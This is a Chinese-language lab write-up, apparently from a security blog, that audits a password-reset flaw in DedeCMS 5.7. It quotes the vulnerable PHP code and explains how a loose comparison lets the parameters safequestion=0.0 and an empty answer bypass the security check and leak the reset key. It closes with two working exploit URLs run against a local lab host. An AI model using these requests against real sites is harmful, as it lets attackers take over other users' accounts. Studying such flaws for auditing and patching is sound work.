1. 程式人生 > >dedecms 5.7 任意前臺使用者修改漏洞

dedecms 5.7 任意前臺使用者修改漏洞

一、 啟動環境

1.雙擊執行桌面phpstudy.exe軟體
在這裡插入圖片描述
2.點選啟動按鈕,啟動伺服器環境

二、程式碼審計

1.雙擊啟動桌面Seay原始碼審計系統軟體
在這裡插入圖片描述
2.點選新建專案按鈕,彈出對畫框中選擇(C:\phpStudy\WWW\ dedecms v57),點選確定

漏洞分析

1.進入member/resetpassword.php頁面,將滑鼠滾動到頁面第75行

else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("對不起,您的安全問題或答案回答錯誤","-1");
        exit();
    }
}

程式首先接收id引數,並用正則將非數字過濾成空,然後利用id的引數拼接成SQL語句進行資料庫查詢。 然後獲取safequestion和safeanswer兩個引數,如果為空直接將引數置為空。
然後將資料庫查詢的結果與問題和答案進行對比,如果成功則進入修改修改密碼過程,問題關鍵也就在於此

2.判斷使用的雙等號進行判斷,雙等號判斷的時候並不會檢測型別 ```

var_dump("0"=='0');

3.如果使用者在註冊使用者的時候並沒有設定問題和答案,程式會自動把問題設定成0,答案為空,這就出現漏洞利用,如果傳輸safequestion=0.0&safeanswer=則可以直接繞過if檢測進入密碼修改部分。讀者現在可能有個問題,為什麼需要傳0.0,為什麼不傳輸0,如果傳輸0的話那不就變成”0”==”0”直接繞過了,但是你需要考慮一個問題,safequestion需要過empty檢測,當empty檢測傳輸過來的值是“0”,直接返回true,if判斷捕捉到為真,會直接將$safequestion = ‘’,而“0”==“”結果為false,則無法繞過判斷。 當驗證成功會進入到sn函式

4.sn函式在member/inc/inc_pwd_functions.php

function sn($mid,$userid,$mailto, $send = 'Y')
{
    global $db;
    $tptim= (60*10);
    $dtime = time();
    $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(!is_array($row))
    {
        //傳送新郵件;
        newmail($mid,$userid,$mailto,'INSERT',$send);
    }
    //10分鐘後可以再次傳送新驗證碼;
    elseif($dtime - $tptim > $row['mailtime'])
    {
        newmail($mid,$userid,$mailto,'UPDATE',$send);
    }
    //重新發送新的驗證碼確認郵件;
    else
    {
        return ShowMsg('對不起,請10分鐘後再重新申請', 'login.php');
    }
}

5.程式首先利用函式傳輸過來的mid拼接上SQL語句進入#@__pwd_tmp庫檢測,這個預設就是就為空,查詢以後會進入elseif()判斷過程,再次進入newmail()函式,函式就此檔案中

function newmail($mid, $userid, $mailto, $type, $send)
{
    global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
    $mailtime = time();
    $randval = random(8);
    $mailtitle = $cfg_webname.":密碼修改";
    $mailto = $mailto;
    $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
    $mailbody = "親愛的".$userid.":\r\n您好!感謝您使用".$cfg_webname."網。\r\n".$cfg_webname."應您的要求,重新設定密碼:(注:如果您沒有提出申請,請檢查您的資訊是否洩漏。)\r\n本次臨時登陸密碼為:".$randval." 請於三天內登陸下面網址確認修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
    if($type == 'INSERT')
    {
        $key = md5($randval);
        $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                return ShowMsg('EMAIL修改驗證碼已經發送到原來的郵箱請查收', 'login.php','','5000');
            } else if ($send == 'N')
            {
                return ShowMsg('稍後跳轉到修改頁', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
            }
        }
        else
        {
            return ShowMsg('對不起修改失敗,請聯絡管理員', 'login.php');
        }
    }

6.程式碼利用random()生成隨機數,然後進入到type==’UPDATE’

elseif($type == 'UPDATE')
    {
        $key = md5($randval);
        $sql = "UPDATE `#@__pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime'  WHERE `mid` ='$mid';";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                ShowMsg('EMAIL修改驗證碼已經發送到原來的郵箱請查收', 'login.php');
            }
            elseif($send == 'N')
            {
                return ShowMsg('稍後跳轉到修改頁', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
            }
        }
        else
        {
            ShowMsg('對不起修改失敗,請與管理員聯絡', 'login.php');
        }
    }

然後將ranval隨機值進行md5加密,並更新到dede__pwd_tmp表中。
7.更新完以後流程會進入到send == ‘N’過程,這部有個關鍵問題,會把臨時密碼給洩露出來

return ShowMsg('稍後跳轉到修改頁', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);

如果感覺這個key沒什麼不用請不用著急,馬上進入到getpasswd過程
8.在member/resetpassword.php檔案獲取密碼部分

else if($dopost == "getpasswd")
{
    //修改密碼
    if(empty($id))
    {
        ShowMsg("對不起,請不要非法提交","login.php");
        exit();
    }
    $mid = preg_replace("#[^0-9]#", "", $id);
    $row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'");
    if(empty($row))
    {
        ShowMsg("對不起,請不要非法提交","login.php");
        exit();
    }
    if(empty($setp))
    {
        $tptim= (60*60*24*3);
        $dtime = time();
        if($dtime - $tptim > $row['mailtime'])
        {
            $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
            ShowMsg("對不起,臨時密碼修改期限已過期","login.php");
            exit();
        }
        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
    }

這部分有個關鍵過程,資料庫查詢是從__pwd_tmp表中進行查詢。首先程式進行載入模板,讓使用者填寫密碼,填寫完密碼以後會進入到setp==2密碼過程中

elseif($setp == 2)
    {
        if(isset($key)) $pwdtmp = $key;

        $sn = md5(trim($pwdtmp));
        if($row['pwd'] == $sn)
        {
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db->executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db->executenonequery($sql))
                    {
                        showmsg('更改密碼成功,請牢記新密碼', 'login.php');
                        exit;
                    }
                }
            }
            showmsg('對不起,新密碼為空或填寫不一致', '-1');
            exit;
        }
        showmsg('對不起,臨時密碼錯誤', '-1');
        exit;
    }

這部分會比對使用者傳輸的臨時key和資料庫儲存的pwd是否一致,如果一致則會成功修改密碼。

漏洞利用

1.首先訪問

http://192.168.91.136/DedeCMS_v5.7/member/resetpassword.php?id=2&safequestion=0.0&safeanswer=&dopost=safequestion

這步會拿到臨時key
在這裡插入圖片描述
2.然後再訪問

http://192.168.91.136/DedeCMS_v5.7/member/resetpassword.php?dopost=getpasswd&id=2&key=txWda69e

在這裡插入圖片描述

在這裡插入圖片描述

成功進入重置密碼過程。
在這裡插入圖片描述